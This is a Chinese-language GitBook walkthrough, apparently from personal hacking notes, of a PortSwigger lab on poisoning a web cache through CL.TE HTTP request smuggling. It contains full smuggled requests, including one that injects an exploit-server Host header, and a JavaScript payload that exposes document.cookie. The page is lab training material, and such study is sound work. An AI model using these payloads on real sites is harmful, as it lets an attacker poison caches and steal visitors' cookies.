> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# 通过 HTTP 请求走私实现 Web 缓存投毒

### 利用 HTTP 请求走私实施 Web 缓存投毒

前端和后端对 HTTP 请求的处理方式不同。/ 前端 **不支持分块编码** 以及一些响应被 **缓存**.

目标是发起一种 **请求走私** 允许毒化缓存\*\*：在随后对一个 JavaScript 文件的请求中，受害者应被重定向到利用服务器，该服务器将返回一个脚本，显示 `document.cookie`.

该实验会自动模拟一个受害者用户：我们发送的少数几个 POST 请求，受害者会发出自己的请求。

#### 服务器上的载荷

我们准备恶意的 JavaScript 响应：

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/aa12ca3816aed67390d1b79e172e565ea30e74e0" alt=""><figcaption></figcaption></figure>

#### 关于 tracking.js 文件的信息

观察到该资源会被隐藏 30 秒\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/6b5b7200c3993b97ae2a44060711c4cbba0549d8" alt=""><figcaption></figcaption></figure>

#### 关于“下一篇帖子”按钮行为的分析

* 该 `postId` 参数保持不变。
* 通过点击，应用会重定向到下一篇帖子。

触发此重定向的请求示例：

<figure><img src="/files/46224be93b5c49fe40076884bb4710a248a45918" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
测试：A
```

<figure><img src="/files/b65e91003926890487472b7d554074597aa3097d" alt=""><figcaption></figcaption></figure>

#### 测试：注入任意 Host 头

通过替换内部请求的主机：

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/5050b8613c5755a1db6dc049a9b72aec7ce0df1d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a8886a10db1b4967c0b423e48aeefbd351b695f7" alt=""><figcaption></figcaption></figure>

#### 重定向到我们的利用服务器的最终载荷

一个包含我们控制的内部 GET 请求 **Host** 被注入：

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

一旦受害者加载该缓存的 JavaScript 资源，缓存将返回 **持续 30 秒** 我们修改后的响应，从而触发：

```javascript
alert(document.cookie)
```

<figure><img src="/files/e479ace016683bdca773c7d0ed40b302ff2728a2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c727ada838d10c4113672ab24fecee00448689ae" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
